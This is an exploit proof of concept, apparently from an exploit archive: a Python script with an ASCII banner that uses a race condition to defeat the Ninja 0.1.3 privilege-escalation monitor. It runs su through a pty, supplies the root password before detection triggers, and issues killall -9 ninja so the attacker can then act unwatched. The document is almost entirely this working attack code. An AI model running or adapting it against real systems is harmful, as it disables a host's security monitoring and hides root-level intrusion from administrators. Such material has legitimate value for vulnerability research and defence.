Ninja Privilege Escalation Detection and Prevention System 0.1.3 – Race Condition Privilege Escalation
#[Title] Ninja privilege escalation detection and prevention system race condition #[Author] Ben 'highjack' Sheppard #[URL] http://highjack.github.io/ #[Description] There is a small delay between the time of execution of a command and the time privelege escalation is detected. #It is therefore possible to use a pty to run a command such as su and provide the password faster than it can be detected. #The following PoC becomes root using su and issues killall -9 ninja. The attacker can then run any commands that they wish. #[Software Link] http://forkbomb.org/ninja/ #[Date] 29/04/2015 #[Version] 0.1.3 #[Tested on] Kali Linux #[Demo] https://www.youtube.com/watch?v=P8VJCUUJPLg #See me hitting every open port, 'cause im banging on their system while I'm staying out of the court #https://www.youtube.com/watch?v=eA136fOsSeQ import pty, os, sys, subprocess pid, fd = pty.fork() #begin config user = "root" password = "mypassword" #change this :) command = "killall -9 ninja" #end config def usage(): print """ @@@ @@@ @@@ @@@@@@@@ @@@ @@@ @@@ @@@@@@ @@@@@@@ @@@ @@@ @@@ @@@ @@@ @@@@@@@@@ @@@ @@@ @@@ @@@@@@@@ @@@@@@@@ @@@ @@@ @@! @@@ @@! !@@ @@! @@@ @@! @@! @@@ !@@ @@! !@@ !@! @!@ !@! !@! !@! @!@ !@! !@! @!@ !@! !@! @!! @!@!@!@! !!@ !@! @!@!@ @!@!@!@! !!@ @!@!@!@! !@! @!@@!@! !!!@!!!! !!! !!! !!@!! !!!@!!!! !!! !!!@!!!! !!! !!@!!! !!: !!! !!: :!! !!: !!: !!! !!: !!: !!! :!! !!: :!! :!: !:! :!: :!: !:: :!: !:! !!: :!: :!: !:! :!: :!: !:! :: ::: :: ::: :::: :: ::: ::: : :: :: ::: ::: ::: :: ::: : : : : :: :: : : : : : ::: : : : :: :: : : ::: [Title] Ninja privilege escalation detection and prevention system 0.1.3 race condition [Author] Ben 'highjack' Sheppard [URL] http://highjack.github.io/ [Description] There is a small delay between the time of execution of a command and the time privelege escalation is detected. It is therefore possible to use a pty to run a command such as su and provide the password faster than it can be detected. The following PoC becomes root using su and issues killall -9 ninja. The attacker can then run any commands that they wish. """ executions = 0 def check_procs(): p1 = subprocess.Popen(["ps", "aux"], stdout=subprocess.PIPE) p2 = subprocess.Popen(["grep", "root"], stdin=p1.stdout, stdout=subprocess.PIPE) p3 = subprocess.Popen(["grep", "/sbin/ninja"], stdin=p2.stdout, stdout=subprocess.PIPE) output = p3.communicate()[0] if output != "": if executions != 0: sys.exit(0) return True else: return False def kill_ninja(): if pid == 0: os.execvp("su", ["su", user, "-c", command]) elif pid > 0: try: os.read(fd, 1024) os.write(fd, password + "\n") os.read(fd,1024) os.wait() os.close(fd) except: usage() print "[+] Ninja is terminated" sys.exit(0) while True: kill_ninja() if (check_procs == True): executions = executions + 1 kill_ninja() |